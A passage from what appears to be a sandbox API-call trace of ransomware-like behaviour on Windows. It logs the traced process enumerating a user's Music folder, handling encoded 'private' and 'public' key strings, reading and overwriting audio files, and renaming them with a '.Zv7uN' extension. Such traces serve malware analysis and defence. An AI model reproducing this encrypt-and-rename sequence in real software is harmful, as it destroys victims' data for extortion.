lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.426] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x4b86dbf0, ftLastAccessTime.dwHighDateTime=0x1d5d92e, ftLastWriteTime.dwLowDateTime=0x4b86dbf0, ftLastWriteTime.dwHighDateTime=0x1d5d92e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="m-XSe-Rm7qDih2", cAlternateFileName="M-XSE-~1")) returned 1 [0086.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x4b86dbf0, ftLastAccessTime.dwHighDateTime=0x1d5d92e, ftLastWriteTime.dwLowDateTime=0x4b86dbf0, ftLastWriteTime.dwHighDateTime=0x1d5d92e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0086.427] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdd35760, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x4b86dbf0, ftLastAccessTime.dwHighDateTime=0x1d5d92e, ftLastWriteTime.dwLowDateTime=0x4b86dbf0, ftLastWriteTime.dwHighDateTime=0x1d5d92e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.427] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad447670, ftCreationTime.dwHighDateTime=0x1d5e358, ftLastAccessTime.dwLowDateTime=0x29e42a50, ftLastAccessTime.dwHighDateTime=0x1d5d7e1, ftLastWriteTime.dwLowDateTime=0x29e42a50, ftLastWriteTime.dwHighDateTime=0x1d5d7e1, nFileSizeHigh=0x0, nFileSizeLow=0x78b4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="jgyEIh3B1d0MKm3ji1.wav", cAlternateFileName="JGYEIH~1.WAV")) returned 1 [0086.427] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0086.427] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad447670, ftCreationTime.dwHighDateTime=0x1d5e358, ftLastAccessTime.dwLowDateTime=0x29e42a50, ftLastAccessTime.dwHighDateTime=0x1d5d7e1, ftLastWriteTime.dwLowDateTime=0x29e42a50, ftLastWriteTime.dwHighDateTime=0x1d5d7e1, nFileSizeHigh=0x0, nFileSizeLow=0x78b4)) returned 1 [0086.427] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav")) returned 0x20 [0086.427] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav", dwFileAttributes=0x80) returned 1 [0086.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.452] GetCurrentThreadId () returned 0xa30 [0086.452] GetCurrentThreadId () returned 0xa30 [0086.452] GetCurrentThreadId () returned 0xa30 [0086.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.453] GetCurrentThreadId () returned 0xa30 [0086.453] GetCurrentThreadId () returned 0xa30 [0086.453] GetCurrentThreadId () returned 0xa30 [0086.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.453] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.453] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.453] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x78b4 [0086.454] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.454] ReadFile (in: hFile=0x104, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x78b4, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x78b4, lpOverlapped=0x0) returned 1 [0086.456] CloseHandle (hObject=0x104) returned 1 [0086.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.459] WriteFile (in: hFile=0x104, lpBuffer=0x1f2f460*, nNumberOfBytesToWrite=0x78b4, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f2f460*, lpNumberOfBytesWritten=0x18f114*=0x78b4, lpOverlapped=0x0) returned 1 [0086.462] CloseHandle (hObject=0x104) returned 1 [0086.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\jgyEIh3B1d0MKm3ji1.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\m-xse-rm7qdih2\\jgyeih3b1d0mkm3ji1.wav.zv7un")) returned 1 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] GetCurrentThreadId () returned 0xa30 [0086.465] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac8a0f0, ftCreationTime.dwHighDateTime=0x1d5daf4, ftLastAccessTime.dwLowDateTime=0x7a5b8d0, ftLastAccessTime.dwHighDateTime=0x1d5e7f6, ftLastWriteTime.dwLowDateTime=0x7a5b8d0, ftLastWriteTime.dwHighDateTime=0x1d5e7f6, nFileSizeHigh=0x0, nFileSizeLow=0x10b5f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kynh4m18C.m4a", cAlternateFileName="KYNH4M~1.M4A")) returned 1 [0086.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.465] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\m-XSe-Rm7qDih2\\kynh4m18C.m4a" (normalized: "c:\\users\\5p5nrgjn0js 